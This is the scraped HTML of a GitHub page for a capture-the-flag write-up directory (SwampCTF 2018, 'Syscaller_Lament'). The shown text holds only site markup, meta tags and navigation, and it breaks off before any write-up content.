Contribute to phieulang1993/ctf-writeups development by creating an account on GitHub." /> <link rel="assets" href="https://github.githubassets.com/"> <meta name="hostname" content="github.com"> <meta name="expected-hostname" content="github.com"> <meta name="enabled-features" content="TURBO_EXPERIMENT_RISKY,IMAGE_METRIC_TRACKING,GEOJSON_AZURE_MAPS"> <meta http-equiv="x-pjax-version" content="ef97471de14f8d2285f0269e8f0f7dc70845f693d3f6ccd2dd2daae5cd1bbebe" data-turbo-track="reload"> <meta http-equiv="x-pjax-csp-version" content="2a84822a832da97f1ea76cf989a357ec70c85713a2fd8f14c8421b76bbffe38c" data-turbo-track="reload"> <meta http-equiv="x-pjax-css-version" content="adfc12179419e463f9f320d07920b1684c9b7e060d4d9cd3a6cd5d0de37ce710" data-turbo-track="reload"> <meta http-equiv="x-pjax-js-version" content="711646ae23abb27cf728346f30f81c042d4428233a0795acf0e21ed664fe9d94" data-turbo-track="reload"> <meta name="turbo-cache-control" content="no-preview" data-turbo-transient=""> <meta data-hydrostats="publish"> <meta name="go-import" content="github.com/phieulang1993/ctf-writeups git https://github.com/phieulang1993/ctf-writeups.git"> <meta name="octolytics-dimension-user_id" content="13719185" /><meta name="octolytics-dimension-user_login" content="phieulang1993" /><meta name="octolytics-dimension-repository_id" content="119324220" /><meta name="octolytics-dimension-repository_nwo" content="phieulang1993/ctf-writeups" /><meta name="octolytics-dimension-repository_public" content="true" /><meta name="octolytics-dimension-repository_is_fork" content="false" /><meta name="octolytics-dimension-repository_network_root_id" content="119324220" /><meta name="octolytics-dimension-repository_network_root_nwo" content="phieulang1993/ctf-writeups" /> <link rel="canonical" href="https://github.com/phieulang1993/ctf-writeups/tree/master/2018/swampctf/Syscaller_Lament" data-turbo-transient> <meta name="turbo-body-classes" content="logged-out env-production page-responsive"> <meta name="browser-stats-url" content="https://api.github.com/_private/browser/stats"> <meta name="browser-errors-url" content="https://api.github.com/_private/browser/errors"> <meta name="browser-optimizely-client-errors-url" content="https://api.github.com/_private/browser/optimizely_client/errors"> <link rel="mask-icon" href="https://github.githubassets.com/pinned-octocat.svg" color="#000000"> <link rel="alternate icon" class="js-site-favicon" type="image/png" href="https://github.githubassets.com/favicons/favicon.png"> <link rel="icon" class="js-site-favicon" type="image/svg+xml" href="https://github.githubassets.com/favicons/favicon.svg"> <meta name="theme-color" content="#1e2327"><meta name="color-scheme" content="light dark" /> <link rel="manifest" href="/manifest.json" crossOrigin="use-credentials"> </head> <body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div data-turbo-body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div class="position-relative js-header-wrapper "> Skip to content <span> <span></span></span> <script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-94fd67-04fa93bb158a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/sessions-9920eaa99f50.js"></script><header class="Header-old header-logged-out js-details-container Details position-relative f4 py-3" role="banner"> <button type="button" class="Header-backdrop d-lg-none border-0 position-fixed top-0 left-0 width-full height-full js-details-target" aria-label="Toggle navigation"> <span>Toggle navigation</span> </button> <div class="container-xl d-flex flex-column flex-lg-row flex-items-center p-responsive height-full position-relative z-1"> <div class="d-flex flex-justify-between flex-items-center width-full width-lg-auto"> <svg height="32" aria-hidden="true" viewBox="0 0 16 16" version="1.1" width="32" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <div class="flex-1"> Sign up </div> <div class="flex-1 flex-order-2 text-right"> <button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="js-details-target Button--link Button--medium Button d-lg-none color-fg-inherit p-1"> <span> <span><div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div></span> </span></button> </div> </div> <div class="HeaderMenu--logged-out p-responsive height-fit position-lg-relative d-lg-flex flex-column flex-auto pt-7 pb-4 top-0"> <div class="header-menu-wrapper d-flex flex-column flex-self-end flex-lg-row flex-justify-between flex-auto p-3 p-lg-0 rounded rounded-lg-0 mt-3 mt-lg-0"> <nav class="mt-0 px-3 px-lg-0 mb-3 mb-lg-0" aria-label="Global"> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Product <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 d-lg-flex dropdown-menu-wide"> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-workflow color-fg-subtle mr-3"> <path d="M1 3a2 2 0 0 1 2-2h6.5a2 2 0 0 1 2 2v6.5a2 2 0 0 1-2 2H7v4.063C7 16.355 7.644 17 8.438 17H12.5v-2.5a2 2 0 0 1 2-2H21a2 2 0 0 1 2 2V21a2 2 0 0 1-2 2h-6.5a2 2 0 0 1-2-2v-2.5H8.437A2.939 2.939 0 0 1 5.5 15.562V11.5H3a2 2 0 0 1-2-2Zm2-.5a.5.5 0 0 0-.5.5v6.5a.5.5 0 0 0 .5.5h6.5a.5.5 0 0 0 .5-.5V3a.5.5 0 0 0-.5-.5ZM14.5 14a.5.5 0 0 0-.5.5V21a.5.5 0 0 0 .5.5H21a.5.5 0 0 0 .5-.5v-6.5a.5.5 0 0 0-.5-.5Z"></path></svg> <div> <div class="color-fg-default h4">Actions</div> Automate any workflow </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-package color-fg-subtle mr-3"> <path d="M12.876.64V.639l8.25 4.763c.541.313.875.89.875 1.515v9.525a1.75 1.75 0 0 1-.875 1.516l-8.25 4.762a1.748 1.748 0 0 1-1.75 0l-8.25-4.763a1.75 1.75 0 0 1-.875-1.515V6.917c0-.625.334-1.202.875-1.515L11.126.64a1.748 1.748 0 0 1 1.75 0Zm-1 1.298L4.251 6.34l7.75 4.474 7.75-4.474-7.625-4.402a.248.248 0 0 0-.25 0Zm.875 19.123 7.625-4.402a.25.25 0 0 0 .125-.216V7.639l-7.75 4.474ZM3.501 7.64v8.803c0 .09.048.172.125.216l7.625 4.402v-8.947Z"></path></svg> <div> <div class="color-fg-default h4">Packages</div> Host and manage packages </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-shield-check color-fg-subtle mr-3"> <path d="M16.53 9.78a.75.75 0 0 0-1.06-1.06L11 13.19l-1.97-1.97a.75.75 0 0 0-1.06 1.06l2.5 2.5a.75.75 0 0 0 1.06 0l5-5Z"></path><path d="m12.54.637 8.25 2.675A1.75 1.75 0 0 1 22 4.976V10c0 6.19-3.771 10.704-9.401 12.83a1.704 1.704 0 0 1-1.198 0C5.77 20.705 2 16.19 2 10V4.976c0-.758.489-1.43 1.21-1.664L11.46.637a1.748 1.748 0 0 1 1.08 0Zm-.617 1.426-8.25 2.676a.249.249 0 0 0-.173.237V10c0 5.46 3.28 9.483 8.43 11.426a.199.199 0 0 0 .14 0C17.22 19.483 20.5 15.461 20.5 10V4.976a.25.25 0 0 0-.173-.237l-8.25-2.676a.253.253 0 0 0-.154 0Z"></path></svg> <div> <div class="color-fg-default h4">Security</div> Find and fix vulnerabilities </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-codespaces color-fg-subtle mr-3"> <path d="M3.5 3.75C3.5 2.784 4.284 2 5.25 2h13.5c.966 0 1.75.784 1.75 1.75v7.5A1.75 1.75 0 0 1 18.75 13H5.25a1.75 1.75 0 0 1-1.75-1.75Zm-2 12c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v4a1.75 1.75 0 0 1-1.75 1.75H3.25a1.75 1.75 0 0 1-1.75-1.75ZM5.25 3.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h13.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Zm-2 12a.25.25 0 0 0-.25.25v4c0 .138.112.25.25.25h17.5a.25.25 0 0 0 .25-.25v-4a.25.25 0 0 0-.25-.25Z"></path><path d="M10 17.75a.75.75 0 0 1 .75-.75h6.5a.75.75 0 0 1 0 1.5h-6.5a.75.75 0 0 1-.75-.75Zm-4 0a.75.75 0 0 1 .75-.75h.5a.75.75 0 0 1 0 1.5h-.5a.75.75 0 0 1-.75-.75Z"></path></svg> <div> <div class="color-fg-default h4">Codespaces</div> Instant dev environments </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-copilot color-fg-subtle mr-3"> <path d="M9.75 14a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Zm4.5 0a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Z"></path><path d="M12 2c2.214 0 4.248.657 5.747 1.756.136.099.268.204.397.312.584.235 1.077.546 1.474.952.85.869 1.132 2.037 1.132 3.368 0 .368-.014.733-.052 1.086l.633 1.478.043.022A4.75 4.75 0 0 1 24 15.222v1.028c0 .529-.309.987-.565 1.293-.28.336-.636.653-.966.918a13.84 13.84 0 0 1-1.299.911l-.024.015-.006.004-.039.025c-.223.135-.45.264-.68.386-.46.245-1.122.571-1.941.895C16.845 21.344 14.561 22 12 22c-2.561 0-4.845-.656-6.479-1.303a19.046 19.046 0 0 1-1.942-.894 14.081 14.081 0 0 1-.535-.3l-.144-.087-.04-.025-.006-.004-.024-.015a13.16 13.16 0 0 1-1.299-.911 6.913 6.913 0 0 1-.967-.918C.31 17.237 0 16.779 0 16.25v-1.028a4.75 4.75 0 0 1 2.626-4.248l.043-.022.633-1.478a10.195 10.195 0 0 1-.052-1.086c0-1.331.282-2.498 1.132-3.368.397-.406.89-.717 1.474-.952.129-.108.261-.213.397-.312C7.752 2.657 9.786 2 12 2Zm-8 9.654v6.669a17.59 17.59 0 0 0 2.073.98C7.595 19.906 9.686 20.5 12 20.5c2.314 0 4.405-.594 5.927-1.197a17.59 17.59 0 0 0 2.073-.98v-6.669l-.038-.09c-.046.061-.095.12-.145.177-.793.9-2.057 1.259-3.782 1.259-1.59 0-2.738-.544-3.508-1.492a4.323 4.323 0 0 1-.355-.508h-.344a4.323 4.323 0 0 1-.355.508C10.704 12.456 9.555 13 7.965 13c-1.725 0-2.989-.359-3.782-1.259a3.026 3.026 0 0 1-.145-.177Zm6.309-1.092c.445-.547.708-1.334.851-2.301.057-.357.087-.718.09-1.079v-.031c-.001-.762-.166-1.26-.43-1.568l-.008-.01c-.341-.391-1.046-.689-2.533-.529-1.505.163-2.347.537-2.824 1.024-.462.473-.705 1.18-.705 2.32 0 .605.044 1.087.135 1.472.092.384.231.672.423.89.365.413 1.084.75 2.657.75.91 0 1.527-.223 1.964-.564.14-.11.268-.235.38-.374Zm2.504-2.497c.136 1.057.403 1.913.878 2.497.442.545 1.134.938 2.344.938 1.573 0 2.292-.337 2.657-.751.384-.435.558-1.151.558-2.361 0-1.14-.243-1.847-.705-2.319-.477-.488-1.318-.862-2.824-1.025-1.487-.161-2.192.139-2.533.529-.268.308-.437.808-.438 1.578v.02c.002.299.023.598.063.894Z"></path></svg> <div> <div class="color-fg-default h4">Copilot</div> Write better code with AI </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-code-review color-fg-subtle mr-3"> <path d="M10.3 6.74a.75.75 0 0 1-.04 1.06l-2.908 2.7 2.908 2.7a.75.75 0 1 1-1.02 1.1l-3.5-3.25a.75.75 0 0 1 0-1.1l3.5-3.25a.75.75 0 0 1 1.06.04Zm3.44 1.06a.75.75 0 1 1 1.02-1.1l3.5 3.25a.75.75 0 0 1 0 1.1l-3.5 3.25a.75.75 0 1 1-1.02-1.1l2.908-2.7-2.908-2.7Z"></path><path d="M1.5 4.25c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v12.5a1.75 1.75 0 0 1-1.75 1.75h-9.69l-3.573 3.573A1.458 1.458 0 0 1 5 21.043V18.5H3.25a1.75 1.75 0 0 1-1.75-1.75ZM3.25 4a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h2.5a.75.75 0 0 1 .75.75v3.19l3.72-3.72a.749.749 0 0 1 .53-.22h10a.25.25 0 0 0 .25-.25V4.25a.25.25 0 0 0-.25-.25Z"></path></svg> <div> <div class="color-fg-default h4">Code review</div> Manage code changes </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-issue-opened color-fg-subtle mr-3"> <path d="M12 1c6.075 0 11 4.925 11 11s-4.925 11-11 11S1 18.075 1 12 5.925 1 12 1ZM2.5 12a9.5 9.5 0 0 0 9.5 9.5 9.5 9.5 0 0 0 9.5-9.5A9.5 9.5 0 0 0 12 2.5 9.5 9.5 0 0 0 2.5 12Zm9.5 2a2 2 0 1 1-.001-3.999A2 2 0 0 1 12 14Z"></path></svg> <div> <div class="color-fg-default h4">Issues</div> Plan and track work </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-comment-discussion color-fg-subtle mr-3"> <path d="M1.75 1h12.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 14.25 14H8.061l-2.574 2.573A1.458 1.458 0 0 1 3 15.543V14H1.75A1.75 1.75 0 0 1 0 12.25v-9.5C0 1.784.784 1 1.75 1ZM1.5 2.75v9.5c0 .138.112.25.25.25h2a.75.75 0 0 1 .75.75v2.19l2.72-2.72a.749.749 0 0 1 .53-.22h6.5a.25.25 0 0 0 .25-.25v-9.5a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25Z"></path><path d="M22.5 8.75a.25.25 0 0 0-.25-.25h-3.5a.75.75 0 0 1 0-1.5h3.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 22.25 20H21v1.543a1.457 1.457 0 0 1-2.487 1.03L15.939 20H10.75A1.75 1.75 0 0 1 9 18.25v-1.465a.75.75 0 0 1 1.5 0v1.465c0 .138.112.25.25.25h5.5a.75.75 0 0 1 .53.22l2.72 2.72v-2.19a.75.75 0 0 1 .75-.75h2a.25.25 0 0 0 .25-.25v-9.5Z"></path></svg> <div> <div class="color-fg-default h4">Discussions</div> Collaborate outside of code </div> Explore All features Documentation <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> GitHub Skills <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> Blog <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> </div> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Solutions <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> For Enterprise Teams Startups Education <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> By Solution CI/CD & Automation DevOps <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> DevSecOps <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> Case Studies Customer Stories Resources <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> </div> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Open Source <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> <div> <div class="color-fg-default h4">GitHub Sponsors</div> Fund open source developers </div> <div> <div class="color-fg-default h4">The ReadME Project</div> GitHub community articles </div> Repositories Topics Trending Collections </div> Pricing </nav> <div class="d-lg-flex flex-items-center px-3 px-lg-0 mb-3 mb-lg-0 text-center text-lg-left"> <div class="d-lg-flex min-width-0 mb-2 mb-lg-0"> <div class="header-search flex-auto position-relative js-site-search flex-self-stretch flex-md-self-auto mb-3 mb-md-0 mr-0 mr-md-3 scoped-search site-scoped-search js-jump-to"> <div class="position-relative"> </option></form><form class="js-site-search-form" role="search" aria-label="Site" data-scope-type="Repository" data-scope-id="119324220" data-scoped-search-url="/phieulang1993/ctf-writeups/search" data-owner-scoped-search-url="/users/phieulang1993/search" data-unscoped-search-url="/search" data-turbo="false" action="/phieulang1993/ctf-writeups/search" accept-charset="UTF-8" method="get"> <label class="form-control header-search-wrapper input-sm p-0 js-chromeless-input-container header-search-wrapper-jump-to position-relative d-flex flex-justify-between flex-items-center"> <input type="text" class="form-control js-site-search-focus header-search-input jump-to-field js-jump-to-field js-site-search-field is-clearable" data-hotkey=s,/ name="q" placeholder="Search" data-unscoped-placeholder="Search GitHub" data-scoped-placeholder="Search" autocapitalize="off" role="combobox" aria-haspopup="listbox" aria-expanded="false" aria-autocomplete="list" aria-controls="jump-to-results" aria-label="Search" data-jump-to-suggestions-path="/_graphql/GetSuggestedNavigationDestinations" spellcheck="false" autocomplete="off" > <input type="hidden" data-csrf="true" class="js-data-jump-to-suggestions-path-csrf" value="pYOSD8eNTy+dut+yzp7sn+6kIzaInsEqsbQ2o8O/u66RsHwvk9h/kqWtJP8oOehgw3n8eFI/5ZWHaTM3PAOc4Q==" /> <input type="hidden" class="js-site-search-type-field" name="type" > <svg xmlns="http://www.w3.org/2000/svg" width="22" height="20" aria-hidden="true" class="mr-1 header-search-key-slash"><path fill="none" stroke="#979A9C" opacity=".4" d="M3.5.5h12c1.7 0 3 1.3 3 3v13c0 1.7-1.3 3-3 3h-12c-1.7 0-3-1.3-3-3v-13c0-1.7 1.3-3 3-3z"></path><path fill="#979A9C" d="M11.8 6L8 15.1h-.9L10.8 6h1z"></path></svg> <div class="Box position-absolute overflow-hidden d-none jump-to-suggestions js-jump-to-suggestions-container"> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <span>No suggested jump to results</span> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 